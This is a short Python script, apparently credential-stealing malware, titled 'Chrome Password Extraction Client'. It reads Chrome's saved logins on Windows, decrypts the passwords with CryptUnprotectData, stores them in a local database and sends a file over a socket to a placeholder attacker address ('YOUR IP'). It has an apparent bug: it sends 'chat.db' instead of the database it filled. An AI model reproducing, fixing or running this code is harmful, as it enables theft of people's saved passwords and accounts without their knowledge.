Chrome Password Extraction Client

'''
Created on 19 Jun 2015

@author: Jordan Wright <jordan-wright.github.io>    +    Robyn Hode
'''
from os import getenv
import sqlite3
import win32crypt
import socket

host = 'YOUR IP'
port = YOURPORT

conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
conn2 = sqlite3.connect("passwordsdecrypt.db")
clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsock.connect((host, port))

cursor = conn.cursor()
cursor2 = conn2.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins')
cursor2.execute('''CREATE TABLE passwords(url, username, password)''')

for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    url = result[0]
    username = result[1]
    if password:
        cursor2.execute("INSERT INTO passwords (url, username, password) VALUES (?, ?, ?)", (url, username, password))
        conn2.commit()

passfile = open("chat.db", "rb")
readfrompassfile = passfile.read()
clientsock.sendall(readfrompassfile)

conn.close()
conn2.close()
clientsock.shutdown(socket.SHUT_WR)